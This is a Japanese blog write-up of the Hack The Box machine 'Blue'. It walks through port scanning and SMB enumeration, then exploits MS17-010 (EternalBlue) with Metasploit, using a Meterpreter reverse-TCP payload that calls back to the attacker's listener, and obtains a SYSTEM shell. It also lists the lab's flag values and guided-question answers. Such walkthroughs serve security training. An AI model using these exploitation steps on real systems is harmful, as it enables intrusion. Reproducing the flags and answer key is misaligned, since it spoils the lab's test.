Hack The BoxのWriteup(Blue)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

本記事の概要

Hack The BoxのWindowsサーバの難易度Easyのマシンである「Blue」に対する攻撃手法を記載します。

本記事では、以下の手順を記載します。
  (1) ポートスキャン

  (2) SMBを用いたファイルアクセス

  (3) SMBの脆弱性調査
  (4) SMBの脆弱性(CVE-2017-0143、MS17-010)を用いたシェル奪取

※画面や記載している手順は記事を作成した時点のものですので、画面などが変わっている可能性があります。


ポートスキャン


(1) nmapコマンドを実行して、応答があるポート番号を確認する。SSH(22/tcp) やHTTP(80/tcp)などポートが応答がある。

$ nmap -sS -sC -sV -A -p- -Pn --min-rate 5000 10.10.10.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 13:50 JST
Warning: 10.10.10.40 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.40
Host is up (0.36s latency).
Not shown: 62319 closed tcp ports (reset), 3207 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-08-11T04:53:25
|_  start_date: 2025-08-11T04:48:40
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-08-11T05:53:26+01:00
|_clock-skew: mean: -19m56s, deviation: 34m35s, median: 1s

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   207.36 ms 10.10.16.1
2   416.46 ms 10.10.10.40

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 177.90 seconds


SMBを用いたファイルアクセス


(1) crackmapexecコマンドでファイル共有されているフォルダを確認すると、ShareとUsersの読み込み権限がある。

# crackmapexec smb 10.10.10.40 -u 'guest' -p '' --shares
SMB         10.10.10.40     445    HARIS-PC         [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HARIS-PC) (domain:haris-PC) (signing:False) (SMBv1:True)
SMB         10.10.10.40     445    HARIS-PC         [+] haris-PC\guest:
SMB         10.10.10.40     445    HARIS-PC         [+] Enumerated shares
SMB         10.10.10.40     445    HARIS-PC         Share           Permissions     Remark
SMB         10.10.10.40     445    HARIS-PC         -----           -----------     ------
SMB         10.10.10.40     445    HARIS-PC         ADMIN$                          Remote Admin
SMB         10.10.10.40     445    HARIS-PC         C$                              Default share
SMB         10.10.10.40     445    HARIS-PC         IPC$                            Remote IPC
SMB         10.10.10.40     445    HARIS-PC         Share           READ
SMB         10.10.10.40     445    HARIS-PC         Users           READ


(2) 「//10.10.10.40/Share」と「//10.10.10.40/Users」にアクセスし、ファイルの内容を確認し何もファイル/フォルダが格納されていないことを確認する。

$ smbclient //10.10.10.40/Share -N
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Jul 14 22:48:44 2017
  ..                                  D        0  Fri Jul 14 22:48:44 2017

                4692735 blocks of size 4096. 657932 blocks available



$ smbclient //10.10.10.40/Users -N
smbclient: command not found
smb: \> dir
  .                                   D        0  Fri Jul 14 22:48:44 2017
  ..                                  D        0  Fri Jul 14 22:48:44 2017

                4692735 blocks of size 4096. 657932 blocks available


SMBの脆弱性調査


(1) nmapコマンドを用いて139/tcpと445/tcpの脆弱性を調査すると、CVE-2017-0143及びMS17-010の脆弱性があることが分かる。

$ nmap -sV --script smb-vuln* -p 139,445 10.10.10.40
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 20:53 JST
Nmap scan report for 10.10.10.40
Host is up (0.24s latency).

PORT    STATE SERVICE      VERSION
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.65 seconds


(2) 「MS17-010」や「CVE-2017-0143」をGoogle検索すると、SMBの脆弱性を悪用して任意のコマンド実行できる「EternalBlue」という脆弱性であることが分かる。また、「WannaCry」という有名なランサムウェアで悪用された脆弱性であることが分かる。

SMBの脆弱性(CVE-2017-0143、MS17-010)を用いたシェル奪取


(1) Kali LinuxのVPN用のIPアドレスを確認する。

$ ip a
  →Kali LinuxのVPN用のインターフェースのIPアドレスが「10.10.10.40」



(2) Metasploitを起動すると、Metasploitのプロンプト(msf6 >)が表示される。

$ msfconsole


(3) Metasploit Frameworkで「ms17-010」という文字列を含む攻撃コードを検索すると、「exploit/windows/smb/ms17_010_eternalblue」があることが分かる。

> search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'


(4) useコマンドで「exploit/windows/smb/ms17_010_eternalblue」を使用するように設定する。

> use exploit/windows/smb/ms17_010_eternalblue


(5) show optionsコマンドで設定情報を表示すると、RHOSTSに攻撃対象のホスト、LHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する必要があることが分かる。

> show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Emb
                                             edded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedde
                                             d Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard
                                              7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.


(6) setコマンドでRHOSTSに攻撃対象のホスト、LHOSTに自身のマシン(Kali Linux)のIPアドレスを設定する。

> set RHOSTS 10.10.10.40


> set LHOST 10.10.16.10


(7) exploitコマンドで攻撃を実行すると、セッションが確立されプロンプト(meterpreter >)が表示される。

> exploit
[*] Started reverse TCP handler on 10.10.16.10:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.10.40:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.16.10:4444 -> 10.10.10.40:49158) at 2025-08-11 21:24:09 +0900
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >


(8) shellコマンドを実行し、任意のコマンドを実行できるようにする。

meterpreter > shell
Process 2988 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>


(9) 現在ログインしているユーザー情報を確認すると、「nt authority\system」ユーザーであることが分かる。

> whoami
nt authority\system


(10) dirコマンドで「C:\Users\haris\Desktop」フォルダの内容を確認すると、user.txtファイルがあることが分かる。

> dir "C:\Users\haris\Desktop"
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\haris\Desktop

24/12/2017  03:23    <DIR>          .
24/12/2017  03:23    <DIR>          ..
11/08/2025  05:49                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,692,640,768 bytes free


(11) 一般ユーザー用のフラグファイルの内容を確認する。

> type "C:\Users\haris\Desktop\user.txt"
b37bdef9c60daef6d7087bfd77736ab4


(12) 特権ユーザー用のフラグファイルの内容を確認する。

> type "C:\Users\Administrator\Desktop\root.txt"
6d0a6e00d04fcb0693b224d72ef25c28


[補足] Guided ModeのQA


・Task 1

問題(英語訳):How many open TCP ports are listening on Blue? Don't include any 5-digit ports.
問題(日本語訳):Blue でリッスンしている開いている TCP ポートはいくつありますか? 5 桁のポートは含めないでください。

答え:3


・Task 2

問題(英語訳):What is the hostname of Blue?
問題(日本語訳):Blue のホスト名は何ですか?

答え:haris-PC


・Task 3

問題(英語訳):What operating system is running on the target machine? Give a two-word answer with a name and high-level version.
問題(日本語訳):ターゲットマシンではどのオペレーティングシステムが実行されていますか? 名前と高レベルバージョンを含む 2 語の回答を入力してください。

答え:Windows 7


・Task 4

問題(英語訳):How many SMB shares are available on Blue?
問題(日本語訳):Blue ではいくつの SMB 共有が利用できますか?

答え:5


・Task 5

問題(英語訳):What 2017 Microsoft Security Bulletin number describes a remote code execution vulnerability in SMB?
問題(日本語訳):2017 年の Microsoft セキュリティ情報のどの番号が SMB のリモート コード実行の脆弱性について説明していますか?

答え:MS17-010


・Task 6

問題(英語訳):Optional question: A worm was set loose on the internet in May 2017 propagating primarily through MS17-010. What is the famous name for that malware?
問題(日本語訳):オプション問題:2017年5月、主にMS17-010を介して拡散するワームがインターネット上に出現しました。このマルウェアの有名な名前は何ですか?

答え:WannaCry


・Task 7

問題(英語訳):What user do you get execution with when exploiting MS17-010? Include the full name, including anything before a .
問題(日本語訳):MS17-010 を悪用すると、どのユーザーが実行されますか? . の前の部分も含めたフルネームを入力してください。

答え:nt authority\system


・Submit User Flag

問題(英語訳):Submit the flag located on the haris user's desktop.
問題(日本語訳):haris ユーザーのデスクトップにあるフラグを送信します。

答え:b37bdef9c60daef6d7087bfd77736ab4
※「C:\Users\haris\Desktop\user.txt」の内容。


・Submit Root Flag

問題(英語訳):Submit the flag located on the administrator's desktop.
問題(日本語訳):管理者のデスクトップにあるフラグを送信します。

答え:6d0a6e00d04fcb0693b224d72ef25c28
※「C:\Users\Administrator\Desktop\root.txt」の内容。


関連記事(Hack The Box)

※後日作成予定。